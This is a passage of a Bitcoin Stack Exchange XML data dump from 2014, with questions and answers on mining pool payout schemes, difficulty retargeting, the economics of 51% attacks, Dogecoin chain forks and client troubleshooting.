  <row Id="23656" PostTypeId="1" CreationDate="2014-03-17T11:53:23.347" Score="0" ViewCount="586" Body="&lt;p&gt;I am running Ubuntu 12.04. When I close bitcoin-qt (or any of its derivatives, like litecoin-qt or dogecoin-qt), sometimes it does not completely exit. I then have to run &lt;code&gt;killall -9 bitcoin-qt&lt;/code&gt;, or sometimes when even that doesn't work, &lt;code&gt;killall -9 bitcoin-shutoff&lt;/code&gt; (apparently the client calls a &lt;code&gt;bitcoin-shutoff&lt;/code&gt; process to shut itself down). I am wondering if there is a fix for this, to prevent the client from refusing to close in the future.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-08-31T12:05:22.577" Title="Qt client not exiting on Linux" Tags="|bitcoin-core|linux|litecoin-qt|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23658" PostTypeId="2" ParentId="23616" CreationDate="2014-03-17T13:33:11.117" Score="0" Body="&lt;p&gt;I've written a &lt;a href=&quot;http://www.coinwrite.org/tutorials/ever-wonder-what-those-numbers-mean-the-relationship-between-difficulty-shares-hashrate-etc-explained/&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; a while ago; I will be using some terminology in my answer and it would be best to acquaint yourself with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prop (proportional) is one of the easiest to understand. All miners submit shares, and after the pool finds a block, the reward is divided proportionally among the miners based on how many shares they submitted that round.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PPS (pay per share) is also quite straightforward. Each time you submit a share, you get paid a fixed amount. As I mention in my tutorial, that amount is equal to the block reward divided by the expected number of shares that round. With PPS, the pool operator takes on a lot of risk (e.g if a block is not found in 500% the expected time, the owner is basically paying out a lot without any compensation in return), so typically they will charge a large pool fee (as a risk premium). For instance, &lt;a href=&quot;https://www.btcguild.com/&quot; rel=&quot;nofollow&quot;&gt;BTC Guild&lt;/a&gt; charges 7.5% for PPS compared to 3% for PPLNS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PPLNS (pay per last N shares) is similar to Prop but is designed to combat a major problem with it: pool-hoppers. Basically, since mining is a Poisson process, there's no such thing as partial credit. If a pool finds a block at 10%, it is worth just as much as a block found at 1000%, even though it took 100x less time to find it. So it is advantageous to mine only when the pool % done is low, and then switch to another pool that has a lower % done, because your expected payout per share is higher when the % done is lower. PPLNS solves this problem by making it by (roughly speaking) distributing the block reward not according to who submitted shares in that round, but who submitted submitted the last N shares (N is often twice the expected number of shares per round). I won't go into the full mathematical details here, since it's explained perfectly well by &lt;a href=&quot;http://pool-x.eu/aboutpplns&quot; rel=&quot;nofollow&quot;&gt;other&lt;/a&gt; &lt;a href=&quot;https://bitcointalk.org/index.php?topic=39832&quot; rel=&quot;nofollow&quot;&gt;people&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-17T13:33:11.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23659" PostTypeId="2" ParentId="23506" CreationDate="2014-03-17T14:02:00.613" Score="1" Body="&lt;p&gt;Regarding estimated coins per day, with any coin, the golden rule is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;coins per day = kh/s * coins per block / network difficulty / 50&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So for example, if you were mining Dogecoin with 800 kh/s, you would have&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;coins per day = 800 * 250000 / 1000 / 50 = 4000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This 50 is not really a 50 exactly, but rather 2^32 / (3600 * 24 * 1000), where 2^32 is the expected number of hashes required to find a block at difficulty 1 (i.e. the probability of finding a block is 2^-32), 3600 is the number of seconds per hour, 24 is the number of hours per day, and 1000 is the the number of hashes in a kilohash. It works out to be only about 0.5% off, close enough for an estimate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Estimated current round rewards is an estimate of how many coins you would get, based on your submitted shares, if a block were found right now. As for confirmed and unconfirmed rewards, mined coins require a lot of confirmations before they can be spent. The reason is that if the block gets orphaned, the mined coins disappear. So before the threshold of confirmations (different for each coin) is met, they are considered unconfirmed and cannot yet be paid out. Confirmed rewards, on the other hand, can be safely paid out.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-17T14:02:00.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23660" PostTypeId="2" ParentId="22939" CreationDate="2014-03-17T14:26:24.857" Score="1" Body="&lt;p&gt;No. Difficulty is handled server-side rather than client-side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different pools have different policies regarding difficulty. Some pools have a fixed difficulty. Others automatically calibrate the difficulty depending on your hashrate (this is called vardiff). And some let you set the difficulty, on the pool website. But in any case, it is ultimately the stratum that sends out and accepts work, so it is the pool that dictates difficulty.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-17T14:26:24.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23661" PostTypeId="2" ParentId="21712" CreationDate="2014-03-17T14:37:08.053" Score="2" Body="&lt;p&gt;Outsourcing to a larger pool is definitely possible and can help reduce variance. Conceptually, to them you're just a very large miner. On your side, instead of submitting a found block directly to the network, you submit it to the larger pool, and any shares you accept can be passed on the larger pool. (Regarding difficulty settings: Having different difficulty settings between your miners and the larger pool is find &lt;em&gt;as long as&lt;/em&gt; the larger pool's difficulty does not exceed that of any of your miners. If that is the case, you must either bring down the difficulty of your miners or convince the larger pool operator to raise your difficulty (which they may very well agree to, since it reduces the load on their stratum).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the actual implementation, I'd talk to someone who's done it before. &lt;a href=&quot;https://pool.trademybit.com/&quot; rel=&quot;nofollow&quot;&gt;TradeMyBit&lt;/a&gt; outsources its LTC and DOGE mining to &lt;a href=&quot;https://www.multipool.us/&quot; rel=&quot;nofollow&quot;&gt;MultiPool&lt;/a&gt;. I've talked to the owner merc before, and he seems like a nice guy. You could try contacting him &lt;a href=&quot;https://bitcointalk.org/index.php?action=profile;u=203871&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; to see if he's willing to give you any tips.&lt;/p&gt;&#xA;" OwnerUserId="13700" LastActivityDate="2014-03-17T14:37:08.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23662" PostTypeId="1" CreationDate="2014-03-17T14:50:32.137" Score="3" ViewCount="473" Body="&lt;p&gt;I am struggling to validate my custom miner against the testnet network and I can't seem to add a block of mine to the chain. I've noticed that all the other miners are appending version 2 blocks, so I decided to do the same. As I've read the block height should be included in the coinbase transaction script. So my question is if there is any relation between block version and transaction version because that's the only thing (in my opinion), that I could be doing wrong. I would appreciate an example of how should my block look like as byte array so it would be accepted by the network (testnet).&lt;/p&gt;&#xA;" OwnerUserId="11187" LastEditorUserId="5406" LastEditDate="2020-10-15T22:52:46.260" LastActivityDate="2020-10-16T17:15:28.803" Title="Is there any relation between the block version field and the one of the transaction?" Tags="|block-header|block-validity|transaction-version|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23663" PostTypeId="2" ParentId="23656" CreationDate="2014-03-17T15:28:14.243" Score="1" Body="&lt;p&gt;Have you set a proxy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From my experience slow shutdown seems to have to do with slow proxies (for example, Tor).&#xA;There is an issue for this: &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/2954&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/issues/2954&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is not the network thread that hangs, but database synchronization, then killing with -9 can be dangerous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd suggest debugging this by running in gdb, Ctrl-Cing when it hangs, and then getting backtraces for every still-running thread.&lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2014-03-17T15:28:14.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23664" PostTypeId="1" AcceptedAnswerId="24576" CreationDate="2014-03-17T16:29:21.413" Score="0" ViewCount="904" Body="&lt;p&gt;Lately I have become interested in the way crytocurrency works. So I decided to make my own cryptocurrency to learn it's internal workings.&lt;/p&gt;&#xA;&lt;p&gt;I used a clone of &lt;a href=&quot;https://github.com/bfroemel/smallchange&quot; rel=&quot;nofollow noreferrer&quot;&gt;SmallChange&lt;/a&gt; and followed &lt;a href=&quot;http://dogecoin.ga/how_to_create_scrypt_based_altcoins.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; guide.&lt;/p&gt;&#xA;&lt;p&gt;Everything compiled well, but when I run the program, be it via command line or the qt interface, when I tell it to start mining it just tells me that it is mining but the hashespersecond are 0.&lt;/p&gt;&#xA;&lt;p&gt;I tried building the litecoin source on my machine and used the exact same configuration that I used in my own altcoin (the same &amp;quot;.conf&amp;quot; file) and when I tell it to mine it does mine.&#xA;For my altcoin I used the ports:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;55883 for RCP&lt;/p&gt;&#xA;&lt;p&gt;55884 for P2P&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;My question is, is my computer not mining my altcoin because I'm alone on the network or it is happening because I have made some mistake in my code?&lt;/p&gt;&#xA;&lt;p&gt;Thank you in advance :)&lt;/p&gt;&#xA;&lt;p&gt;Edit: my output for &amp;quot;getinfo&amp;quot; is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA; &amp;quot;version&amp;quot; : 1000000,&#xA; &amp;quot;protocolversion&amp;quot; : 60001,&#xA; &amp;quot;walletversion&amp;quot; : 60000,&#xA; &amp;quot;balance&amp;quot; : 0.00000000,&#xA; &amp;quot;blocks&amp;quot; : 0,&#xA; &amp;quot;connections&amp;quot; : 0,&#xA; &amp;quot;proxy&amp;quot; : &amp;quot;&amp;quot;,&#xA; &amp;quot;difficulty&amp;quot; : 0.00024414,&#xA; &amp;quot;testnet&amp;quot; : false,&#xA; &amp;quot;keypoololdest&amp;quot; : 1369621665,&#xA; &amp;quot;keypoolsize&amp;quot; : 101,&#xA; &amp;quot;paytxfee&amp;quot; : 0.00000000,&#xA; &amp;quot;mininput&amp;quot; : 0.00010000,&#xA; &amp;quot;errors&amp;quot; : &amp;quot;&amp;quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the output for &amp;quot;getmininginfo&amp;quot; is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; {&#xA; &amp;quot;blocks&amp;quot; : 0,&#xA; &amp;quot;currentblocksize&amp;quot; : 1000,&#xA; &amp;quot;currentblocktx&amp;quot; : 0,&#xA; &amp;quot;difficulty&amp;quot; : 0.00024414,&#xA; &amp;quot;errors&amp;quot; : &amp;quot;&amp;quot;,&#xA; &amp;quot;generate&amp;quot; : true,&#xA; &amp;quot;genproclimit&amp;quot; : 4,&#xA; &amp;quot;hashespersec&amp;quot; : 0,&#xA; &amp;quot;networkhashps&amp;quot; : -9223372036854775808,&#xA; &amp;quot;pooledtx&amp;quot; : 0,&#xA; &amp;quot;testnet&amp;quot; : false&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14585" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-04-13T19:23:57.037" Title="0 hashes per second in Qt for new altcoin" Tags="|network|altcoin|education|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23665" PostTypeId="1" CreationDate="2014-03-17T16:51:41.227" Score="0" ViewCount="77" Body="&lt;p&gt;BitShares is looking at using &lt;a href=&quot;https://docs.google.com/document/d/1RLcjSXWuU9vBJzzqLEXVACSCdn8zXKTTJRN_LfoCjNY/edit?disco=AAAAAH7fcks&quot; rel=&quot;nofollow&quot;&gt;a target that changes every 24 hours&lt;/a&gt;.  This is a drastic difference from Bitcoin's current interval of 2 weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the security implications that occur when lowering/raising the interval retarget interval?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What attack scenarios does a too-low retargeting interval allow for?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-03-17T17:50:45.527" LastActivityDate="2014-03-17T17:50:45.527" Title="What are the pros/cons of changing the targeting interval (difficulty)?" Tags="|protocol|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23667" PostTypeId="1" AcceptedAnswerId="23669" CreationDate="2014-03-17T17:29:49.187" Score="1" ViewCount="205" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/ethereum/wiki/wiki/%5BEnglish%5D-Dagger&quot; rel=&quot;nofollow&quot;&gt;Ethereum&lt;/a&gt;'s description says that Bitcoin's mining algorithm requires only a simple SHA256 computation, which caused the creation of specialised ASICs, which centralizes mining in the hands of a few actors (ie. ASIC manufacturers), making 51% attacks much more likely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHA256 &gt;&gt;&gt; ASIC &gt;&gt;&gt; Centralized mining &gt;&gt;&gt; 51% attack?&lt;/p&gt;&#xA;" OwnerUserId="14402" LastEditorUserId="5406" LastEditDate="2015-06-09T22:46:09.980" LastActivityDate="2015-06-09T22:46:09.980" Title="Does Bitcoin's SHA256 proof make a 51% attack more likely?" Tags="|security|sha256|majority-attack|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23668" PostTypeId="2" ParentId="23665" CreationDate="2014-03-17T17:31:57.270" Score="1" Body="&lt;p&gt;The targeting interval either amplifies or dampens spikes in the hash rate's effect on the overall difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having a shorter targeting interval allows for the difficulty to adjust quickly to changes in the hash rate, however there is a greater possibility of an attacker pushing the difficulty to crazy heights with less hash power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having a longer difficulty dampens this effect, but at the same time a drastic drop in hash power will leave the network hurting for a longer period of time, since more blocks need to come out before the network recalculates the difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end it's more or less the same, shorter intervals can have their difficulty altered more easily, but is less lasting; longer intervals makes altering the difficulty more expensive, but is longer lasting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible for an attacker to do this, with the development of ASIC there were many who took advantage to attack TRC and other SHA based coins. This would not always be an attack on purpose. There are several miners and pools (such as multipool.us ) which will mine the most profitable coin, and doesn't pay much attention to how it's changing the difficulty. For example, if AB Coin were to inexplicably multiply in price 100x, the miners would all be trying to get AB Coin and would consequentially raise the difficulty 100x as well. Once this difficulty has been reached, there is no more benefit to mining AB Coin over another coin, and miners would go find another which is trading higher than it's difficulty. This leaves AB Coin in bad shape, as it's regular mining group is only 1% of what it used to be (in terms of blocks produced).&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-03-17T17:31:57.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23669" PostTypeId="2" ParentId="23667" CreationDate="2014-03-17T18:16:36.080" Score="2" Body="&lt;p&gt;The algorithm used proof of work itself doesn't make an attack more likely. The reason why we are seeing SHA-256 ASICs but not scrypt is that Bitcoin has always used SHA-256 until now, and Scrypt and other algo-based coins have not had the value proposition of creating an ASIC make sense yet. This will come with time, but if anything would mean the opposite of a 51% attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The more developed mining becomes, the more expensive it is to make an attack happen. At this point an attack would cost millions and have a low chance of success. At the same time, if an attacker is successful, many people will sell their coins (and stop buying), pushing down the price. Depending on the attacker's motive, this may be an issue, but once the attack stops the network can continue to mine as it did before the disruption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anything, an attack gets more expensive the more specialized a technology gets, and I would be surprised to find any person/company investing in ASIC technology to want anything bad to happen to the network. After all, they just spent thousands of dollars on something which can ONLY mine SHA-256 currencies such as Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="12835" LastEditorUserId="22" LastEditDate="2014-03-17T20:19:10.013" LastActivityDate="2014-03-17T20:19:10.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23671" PostTypeId="2" ParentId="23667" CreationDate="2014-03-17T20:18:13.090" Score="5" Body="&lt;p&gt;I think what most people making the 51% attack argument for memory hardness miss is that the base unit is meaningless when you're talking about percentages. Whether your mining algorithm is implemented with ASICs, consumer hardware or well-trained Rhesus monkeys it matters little - to launch a 51% attack you must amass enough ASICs, consumer hardware or Rhesus monkeys to represent 51% or more of the available power. This, in turn, becomes an economics problem and is far more affected by the scale of mining operations as a whole than by the specifics of how that mining is done. If three networks are mining using $1,000,000 worth of ASICs, CPUs and Rhesus monkeys, including those you control, your portion needs to exceed $500,000 worth of the underlying resource regardless of its nature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fear that this will occur automatically as one manufacturer comes to dominate the space is perhaps slightly more realistic, but it's a real fear in memory-hard altcoins as well since most of that consumer hardware is also made by a mere two companies: Intel and AMD. These companies may not care much about the coin you're mining today, but in the sort of world where ASIC manufacturers represent a threat to Bitcoin CPU manufacturers would represent an identical threat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The article also dismisses the &quot;botnet mining&quot; argument by saying that the botnets would likely not be used to attack the coins and completely ignores the crux of the argument: That people are mining on botnets. If someone is stealing CPU cycles from my system I'm not particularly concerned with the ends, I'm more upset about the means. That Bitcoin's ASIC acceleration has made botnet mining all but impossible is, in this sysadmin's view, a positive thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, the entire democratization argument hinges on the entirely false premise that if mining only uses general purpose hardware that people will only mine with the hardware they already have. It also neglects to account for the decreased lifespan of that already-existing hardware due to mining's extraordinarily heavy use of the resource. People can and do build additional computers for the sole purpose of mining and every computer used for mining lives a shorter lifespan than one used for casual browsing and office tasks. Mining power will still centralize because this is the nature of our economy, not of our technology - those with more money will always buy more hardware. Also, Bitcoin ASICs are only expensive because they are new. ASIC cost is almost entirely in the R&amp;amp;D process, which leads to a price curve whereby products become dramatically cheaper with time. The image processing chip that runs the camera in every cell phone was once new, expensive and high-tech too. Give it time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in the end, it is the economics, not the technology, that makes a mining algorithm secure. The nature of the hashing algorithm chosen has some interesting effects, certainly, but assuming neither algorithm has an exploitable flaw (which is less likely with widely-implemented algorithms like SHA256) the question inherently boils down to &quot;how much would it cost me to become 51% of this network&quot; and the resulting answer is the same whether you're mining with ASICs, CPUs or GPUs... Or Rhesus monkeys: To represent more than half of the network you must more than match the existing power of all equipment (or primates) used to mine it. If the mining equipment currently on-network is worth a million dollars, you have to spend at least a million and one.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-03-17T20:18:13.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23674" PostTypeId="1" CreationDate="2014-03-17T22:52:55.117" Score="1" ViewCount="34" Body="&lt;p&gt;When I am asked to make donations, I assure the requester that I will donate if they accept BTC.  Initially, that gets a blank look, but I wonder how it might change if more of us took that approach.  Specifically, has anyone had success with making donations, political, religious or otherwise, using BTC?&lt;/p&gt;&#xA;" OwnerUserId="14590" LastEditorUserId="14590" LastEditDate="2014-03-18T08:30:33.780" LastActivityDate="2014-03-18T09:05:19.310" Title="BTC for political donations?" Tags="|economic-theory|legal|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23675" PostTypeId="2" ParentId="23667" CreationDate="2014-03-17T23:40:25.913" Score="1" Body="&lt;p&gt;Except one, most ASIC manufacturers are not using the machines they create to mine themselves - they sell them (either for fiat or for BTC) and thus get a rapid return on their investments plus a predefined profit at a low risk. Their clients absorb all the variance and uncertainties of the mining process and theoretically can reap all the rewards as well, which can be either much higher than the manufacturers' or a net loss.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHA-256 vs. scrypt (and its derivative algorithms) certainly eases the creation of ASICs by about an order of magnitude, so had Bitcoin used scrypt from the very beginning probably (this is speculation on my part) ASICs would've taken some months longer to come to the market in spite of BTC's price increases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As BTC mining becomes increasingly competitive it'll indeed tend to become much more concentrated, increasing the possibility of mining cartels appearing - I worry about cartels more than 51% attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd worry even more should most of the mining move to Iceland for its abundant, cheap geothermal power and frigid air - imagine what could happen should 70% of mining be done over there and the island suddenly loses Internet connection or suffers a massive earthquake/volcanic explosion :(&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-17T23:40:25.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23676" PostTypeId="1" CreationDate="2014-03-18T00:03:00.177" Score="1" ViewCount="82" Body="&lt;p&gt;Dogecoin just dropped the &quot;lucky block&quot; stuff after it was found out the &quot;luckiness&quot; wasn't entirely random - multiminers were waiting for the lucky blocks to appear and dropping their hashing power onto Doge's network all of a sudden to ensure they won the extra-bonus, then jumping out to mine another more profitable (for the moment) coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know 42coin has fully deterministic bonus blocks, so most probably the multipools are grabbing those as well - wouldn't be surprised if they're dropped soon for same reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after checking the graphs of altcoin ancestries, it seems to me all coins with lucky blocks descend ultimately from LuckyCoin, so almost certainly have the same deffect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an alt-coin with lucky blocks that doesn't descend from LuckyCoin? Another question: Have randomness tests ever been applied to these coins to verify both their appearance and the amount given are really random?&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="5406" LastEditDate="2016-04-10T12:18:00.087" LastActivityDate="2016-04-10T12:18:00.087" Title="Non LuckyCoin descendant alt-coins with fair &quot;lucky blocks&quot;?" Tags="|mining-reward|dogecoin|random|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T18:44:35.723" ContentLicense="CC BY-SA 3.0" />
  <row Id="23677" PostTypeId="1" AcceptedAnswerId="23683" CreationDate="2014-03-18T00:32:43.313" Score="5" ViewCount="1526" Body="&lt;p&gt;This I never understood &lt;a href=&quot;http://www.reddit.com/r/dogecoin/comments/1ufl1e/much_concern_dogecoin_block_chain_has_split/&quot; rel=&quot;nofollow&quot;&gt;ever&lt;/a&gt; &lt;a href=&quot;http://www.reddit.com/r/dogecoin/comments/1ug958/psa_dogecoin_wallet_version_14_released_you_must/&quot; rel=&quot;nofollow&quot;&gt;since&lt;/a&gt; Dogecoin &lt;a href=&quot;http://www.reddit.com/r/dogecoin/comments/1y5anw/yes_the_network_has_forked_please_calm_down/&quot; rel=&quot;nofollow&quot;&gt;forked&lt;/a&gt; in mid-February 2014: If the cause of the fork was, apparently, &lt;a href=&quot;http://www.reddit.com/r/dogecoin/comments/1y5quc/serious_pool_owners_and_community_we_need_your/&quot; rel=&quot;nofollow&quot;&gt;the same&lt;/a&gt; as the one that affected Bitcoin in March 2013 (namely: a very long block being accepted by a new wallet using a different database but rejected by the earlier wallets) then...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How come there were up to &lt;a href=&quot;http://www.reddit.com/r/dogecoin/comments/1ufl1e/much_concern_dogecoin_block_chain_has_split/&quot; rel=&quot;nofollow&quot;&gt;three&lt;/a&gt; forks of he blockchain at a time? I would've expect at most 2 competing chains, one kept forth by the miners using the old version (then, 1.4) and another by those already on the new one (1.5, then). But, how was it possible to have three forks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally (rant here), what was the point of increasing the size of the potential block size? In retrospect it's obvious something like this was going to happen. Why not treat the rules of a coin as set in stone once it's released, non-critical bugs and all? I had to delete the blockchain and resync twice, each time getting into a different, invalid forked chain - at the end I simply downloaded the files a volunteer shibe uploaded, with the potential risks that has - and hated the experience.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastEditorUserId="5406" LastEditDate="2014-05-09T10:46:07.213" LastActivityDate="2014-05-09T10:46:07.213" Title="Why did Dogecoin fork into 3 chains and not just 2?" Tags="|dogecoin|blockchain-fork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23679" PostTypeId="2" ParentId="23124" CreationDate="2014-03-18T00:59:49.043" Score="1" Body="&lt;p&gt;It might be a signal your GPU is slowly decaying away, or may have to do with competition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What coin are you mining, and at what pool? I've noticed that as more miners with more powerful machines enter a pool, they tend to give partial results very quickly so the pool orders a work restart more often - lowering the number of shares I get. If your pool allows you to manually set difficulty then set it to a lower value: better to send some shares for a lower difficulty than no shares at all.&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-03-18T00:59:49.043" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23680" PostTypeId="2" ParentId="21225" CreationDate="2014-03-18T01:11:43.520" Score="3" Body="&lt;p&gt;The coinbase field is crucial for pooled mining. All workers in a pool will be working to produce a block with the same list of transactions and the same block reward recipient address (that belongs to the pool owner/admin). The &quot;nonce&quot; field in the block header is only 32 bits long. The only way each worker can independently avoid wasting cycles on duplicate work is for the each worker to be assigned a different piece of coinbase data.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-18T01:11:43.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23681" PostTypeId="2" ParentId="7788" CreationDate="2014-03-18T01:33:38.740" Score="9" Body="&lt;p&gt;If you are literally referring to the &quot;time&quot; or &quot;blocktime&quot; property of a transaction within the blockchain, then this timestamp is in Unix format.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if by &quot;convert it to a meaningful value&quot;, you mean a human-readable format, you can use a unix command line (e.g. Terminal on OSX) to do a quick conversion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Linux:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ date -d @1395103695&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Mac OSX:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ date -j -f &quot;%s&quot; 1395103695&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which would return the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Mon Mar 17 14:48:15 HST 2014&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12769" LastEditorUserId="12769" LastEditDate="2014-05-24T21:59:57.100" LastActivityDate="2014-05-24T21:59:57.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23682" PostTypeId="1" CreationDate="2014-03-18T02:05:55.293" Score="6" ViewCount="198" Body="&lt;p&gt;What if the Ripple trust network becomes many trust hubs and spokes, and the hubs don't trust each other?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this extreme case, that could exist due to extreme network segregation, massive trust-mismanagement, or something to this effect...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the likely outcome that two hubs will be created, double spends would be possible, and it would be difficult or impossible to recombine the networks?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="3364" LastEditDate="2014-05-12T13:19:34.237" LastActivityDate="2017-12-29T08:52:58.017" Title="What happens in an extreme case if Ripple fails to make a consensus? Will that part of the network be segmented off?" Tags="|ripple|alternatives|consensus|ripple-trust|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23683" PostTypeId="2" ParentId="23677" CreationDate="2014-03-18T03:02:07.667" Score="4" Body="&lt;p&gt;The articles you link attribute the forks due to raising the total coins limit. Which changed from 500 million to 10 billion. Now this by itself won't cause a block chain to fork, until there is a transaction larger than how many coins there &lt;em&gt;should&lt;/em&gt; exist according to old and outdated clients. In Dogecoin's case someone created a 500+ million transaction that would create an invalid block from an old node's perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create multiple forks, you'd simply stem from newer blocks in the &quot;outdated client&quot; chain. Old clients would reject it and opt for blocks created by outdated miners and newer clients would be hit by a self inflicted 51% attack of sorts. Where newer nodes have multiple chains to sort and make a decision on. As an example here are the chains a newer updated node would have to choose from.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Original client chain&lt;/li&gt;&#xA;&lt;li&gt;Original client chain with leading block containing one 500+ million transaction&lt;/li&gt;&#xA;&lt;li&gt;Original chain with second-last block containing 500+ million transaction&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It goes with the longest chain initially, but what happens if another chains mines a few blocks faster and becomes the leading chain? It switches over, and you have this complex multi chain scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why was the total coins possible limit increased?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The creator simply didn't expect this, all though it is &lt;strong&gt;really&lt;/strong&gt; expectable. Dogecoin was set to mine itself out entirely &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19717/percentage-of-mined-dogecoins&quot;&gt;within 1.5 years from release.&lt;/a&gt; Compare this to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10486/when-will-the-last-bitcoin-be-mined&quot;&gt;Bitcoin's ~2 centuries from now.&lt;/a&gt; Whoever configured these 